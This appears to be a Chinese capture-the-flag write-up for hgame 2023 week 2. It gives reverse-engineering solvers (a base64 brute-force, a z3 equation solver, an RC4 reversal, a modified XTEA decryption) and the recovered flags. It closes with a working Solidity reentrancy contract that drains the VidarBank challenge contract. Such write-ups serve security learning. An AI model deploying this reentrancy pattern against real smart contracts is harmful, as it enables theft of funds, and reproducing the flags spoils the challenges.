before_main

```
import string

res = string.printable
a='qaCpwYM2tO/RPOXeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK'
a=[ord(i) for i in a]
v6 = 'AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG='
for i in range(0, len(v6), 4):
    for xx in res:
        for yy in res:
            for zz in res:
                x, y, z = ord(xx), ord(yy), ord(zz)
                if ord(v6[i]) == a[x >> 2] and ord(v6[i + 1]) == a[(16 * x) & 0x30 | (y >> 4)] and ord(v6[i + 2]) == a[(4 * y) & 0x3C | (z >> 6)] and ord(v6[i + 3]) == a[z & 0x3F]:
                    print(xx, yy, zz, sep='',end='')
print('n}') # 为了连接成完整的flag，所以猜一个末尾是n}
# hgame{s0meth1ng_run_bef0re_m@in}
```

math

解个方程

```
from z3 import *

v10 = [0x0000007E, 0x000000E1, 0x0000003E, 0x00000028, 0x000000D8, 0x000000FD, 0x00000014, 0x0000007C, 0x000000E8,
       0x0000007A, 0x0000003E, 0x00000017, 0x00000064, 0x000000A1, 0x00000024, 0x00000076, 0x00000015, 0x000000B8,
       0x0000001A, 0x0000008E, 0x0000003B, 0x0000001F, 0x000000BA, 0x00000052, 0x0000004F]
v12 = [0x0000F9FE, 0x00008157, 0x000108B2, 0x0000D605, 0x0000F21B, 0x00010FF3, 0x00009146, 0x00011212, 0x0000CF76,
       0x00010C46, 0x0000F76B, 0x000077DF, 0x000103BE, 0x0000C6F8, 0x0000ED8A, 0x0000BE90, 0x000075EC, 0x0000EAC8,
       0x0000AE37, 0x0000CC29, 0x0000A828, 0x00005C6C, 0x0000AB4A, 0x0000836E, 0x0000ACEE]

flag = [Int('flag%d' % i) for i in range(40)]
solver = Solver()
for i in range(5):
    for j in range(5):
        solver.add(v12[5 * i + j]==flag[5 * i + 0]*v10[5 * 0 + j] + flag[5 * i + 1]*v10[5 * 1 + j] + flag[5 * i + 2]*v10[5 * 2 + j] + flag[5 * i + 3]*v10[5 * 3 + j] + flag[5 * i + 4]*v10[5 * 4 + j])
if solver.check() == sat:
    m = solver.model()
    # print(m)
    for i in range(len(m)):
        print(chr(int(str(m[flag[i]]))),end='')

else:
    print('unsat')

# hgame{y0ur_m@th_1s_gO0d}
```

stream

```
PS D:\hgame\week2 2023\stream\stream> python D:\TOOLS\python逆向\pyinstxtractor-master\pyinstxtractor-master\pyinstxtractor.py "D:\hgame\week2 2023\stream\stream\stream.exe"
[+] Processing D:\hgame\week2 2023\stream\stream\stream.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 5507205 bytes
[+] Found 61 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: stream.pyc
[+] Found 97 files in PYZ archive
[+] Successfully extracted pyinstaller archive: D:\hgame\week2 2023\stream\stream\stream.exe

You can now use a python decompiler on the pyc files within the extracted directory
```

然后用在线工具把`steam.pyc`转成py

```
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10

import base64

def gen(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
    i = j = 0
    data = []
    for _ in range(50):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        data.append(s[(s[i] + s[j]) % 256])
    return data
```

```

def encrypt(text, key):
    result = ''
    for c, k in zip(text, gen(key)):
        result += chr(ord(c) ^ k)
    result = base64.b64encode(result.encode()).decode()
    return result

text = input('Flag: ')
key = 'As_we_do_as_you_know'
enc = encrypt(text, key)
if enc ==
'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly5
7w63CtcOl':
    print('yes!')
    return None
None('try again...')

```

exp:

```
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10

import base64


def gen(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
    i = j = 0
    data = []
    for _ in range(50):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        data.append(s[(s[i] + s[j]) % 256])
    return data


key = 'As_we_do_as_you_know'
enc =
'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly5
7w63CtcOl'
_enc = base64.b64decode(enc).decode()
result = ''
```

```
for c, k in zip(_enc, gen(key)):
    result += chr(ord(c) ^ k)
print(result)
# hgame{python_reverse_is_easy_with_internet}
```

VidarCamera

主要算法:

```
    private final int[] m41encrypthkIa6DI(int[] iArr) {
        int i;
        int[] iArr2 = UIntArray.m208constructorimpl(4);
        UIntArray.m219setVXSXFK8(iArr2, 0, 2233);
        UIntArray.m219setVXSXFK8(iArr2, 1, 4455);
        UIntArray.m219setVXSXFK8(iArr2, 2, 6677);
        UIntArray.m219setVXSXFK8(iArr2, 3, 8899);
        int i2 = 0;
        while (i2 < 9) {
            int i3 = 0;
            int i4 = 0;
            do {
                i3++;
                i = i2 + 1;
                UIntArray.m219setVXSXFK8(iArr, i2, UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr, i2) + UInt.m155constructorimpl(UInt.m155constructorimpl(UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr2, UInt.m155constructorimpl(i4 & 3)) + i4) ^ UInt.m155constructorimpl(UInt.m155constructorimpl(UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr, i) << 4) ^ UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr, i) >>> 5)) + UIntArray.m214getpVg5ArA(iArr, i))) ^ i4)));
                UIntArray.m219setVXSXFK8(iArr, i, UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr, i) + UInt.m155constructorimpl(UInt.m155constructorimpl(UInt.m155constructorimpl(UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr, i2) << 4) ^ UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr, i2) >>> 5)) + UIntArray.m214getpVg5ArA(iArr, i2)) ^ UInt.m155constructorimpl(UIntArray.m214getpVg5ArA(iArr2, UInt.m155constructorimpl(UInt.m155constructorimpl(i4 >>> 11) & 3)) + i4))));
                i4 = UInt.m155constructorimpl(i4 + 878077251);
            } while (i3 <= 32);
            i2 = i;
        }
        return iArr;
    }


public static final void m42onCreate$lambda0(EditText inputsomething, CameraActivity this$0, AlertDialog alertDialog, View view) {
        Intrinsics.checkNotNullParameter(inputsomething, "$inputsomething");
        Intrinsics.checkNotNullParameter(this$0, "this$0");
        String obj = inputsomething.getText().toString();
        if (obj.length() != 40) {
            Toast.makeText(this$0, "序列号不正确", 0).show();
            return;
        }
        int[] iArr = UIntArray.m208constructorimpl(10);
        for (int i = 0; i < 40; i += 4) {
            UIntArray.m219setVXSXFK8(iArr, i / 4,
UInt.m155constructorimpl(UInt.m155constructorimpl(UInt.m155constructorimpl(UInt.
m155constructorimpl(obj.charAt(i)) + UInt.m155constructorimpl(obj.charAt(i + 1)
<< '\b')) + UInt.m155constructorimpl(obj.charAt(i + 2) << 16)) +
UInt.m155constructorimpl(obj.charAt(i + 3) << 24)));
        }
        int[] iArr2 = this$0.m41encrypthkIa6DI(iArr);
        UInt[] uIntArr = {UInt.m149boximpl(637666042),
UInt.m149boximpl(457511012), UInt.m149boximpl(-2038734351),
UInt.m149boximpl(578827205), UInt.m149boximpl(-245529892),
UInt.m149boximpl(-1652281167), UInt.m149boximpl(435335655),
UInt.m149boximpl(733644188), UInt.m149boximpl(705177885),
UInt.m149boximpl(-596608744)};
        int i2 = 0;
        while (true) {
            int i3 = i2 + 1;
            if (uIntArr[i2].m206unboximpl() != UIntArray.m214getpVg5ArA(iArr2,
i2)) {
                Toast.makeText(this$0, "序列号不正确", 0).show();
                return;
            } else if (i3 > 9) {
                alertDialog.dismiss();
                return;
            } else {
                i2 = i3;
            }
        }
    }
```

可以看出用的是xtea算法,但是有些不一样的地方

exp:

```
from ctypes import *


def encrypt(v, key):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 0x34566543

    total = c_uint32(0)
    for i in range(32):
        v0.value += (((v1.value << 4) ^ (v1.value >> 5)) + v1.value) ^
(total.value + key[total.value & 3])
        total.value += delta
        v1.value += (((v0.value << 4) ^ (v0.value >> 5)) + v0.value) ^
(total.value + key[(total.value >> 11) & 3])

    return v0.value, v1.value
```

```
def decrypt(v, key):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 0x34566543

    total = c_uint32(delta * 33)
    for i in range(33):
        total.value -= delta
        v1.value -= (((v0.value << 4) ^ (v0.value >> 5)) + v0.value) ^ 
(total.value + key[(total.value >> 11) & 3])
        # total.value -= delta
        v0.value -= (((v1.value << 4) ^ (v1.value >> 5)) + v1.value) ^ 
(total.value + key[total.value & 3])^total.value


    return v0.value, v1.value


# 
637666042,457511012,-2038734351,578827205,-245529892,-1652281167,435335655,73364
4188,705177885,-596608744

# test
if __name__ == "__main__":
    # 待加密的明文，两个32位整型，即64bit的明文数据
    value = [637666042, 457511012, -2038734351, 578827205, -245529892, 
-1652281167, 435335655, 733644188, 705177885, -596608744]
    # 四个key，每个是32bit，即密钥长度为128bit
    key = [2233, 4455, 6677, 8899]
    for i in range(len(value) - 2, -1, -1):
        _value = [value[i], value[i+1]]
        value[i], value[i+1] = decrypt(_value, key)
    for i in value:
        print(bytearray.fromhex(hex(i)[2::]).decode()[::-1],sep='', end='')
# hgame{d8c1d7d34573434ea8dfe5db40fbb25c0}
```

VidarBank

一看源码就是重入攻击

```
[+] deployer account: 0x4eE700C7CE61515BA947bbAd8638168417AF67fF
[+]token:v4.local.SUcqXp9Sld4E095kaPQqOUM1_Dmkq9T4YLM1xP4jmfRAdw47AVNCVcDNYC9VgT
ywR_TQs_bY5aIegOza3iMIKlQ6pcVMJZKJiJxHdJENX9MU3sFEJ5qM_H3my8uizgHs3kMmV0Svp3eUh9
EUw80qvR5XewCouS8piP7-UdfSz4lLfA
[+] contract address: 0xCeea6d7190d67323FD29130d63808c187311BDF8
[+] transaction hash: 
0xb2feb0f1346a9a66156eace411ed603c990109f0a69b28459a444e6f5b6d1395
```

攻击合约写一下

```
//SPDX-License-Identifier: UNLICENSED

pragma solidity >=0.8.7;

import "./VidarBank.sol";
```

```
contract attack{
    VidarBank vidarBank;

    constructor(address _addr) public{
        vidarBank = VidarBank(_addr);
    }

    function get() public returns(uint256){
        return vidarBank.balances(address(this));
    }


    function get_address() public returns(address){
        return address(this);
    }

    function send() public{
        vidarBank.isSolved();
        //hgame{525d49d486d5357aaec38e7ab621c92cf7486d5e}
    }

    function create() public payable{
        vidarBank.newAccount{value: 0.001 ether}();
    }
    function Attack() external payable {
        vidarBank.donateOnce();
    }

    fallback() external payable{
        if(vidarBank.balances(address(this))<30){
            vidarBank.donateOnce();
        }

    }
}
```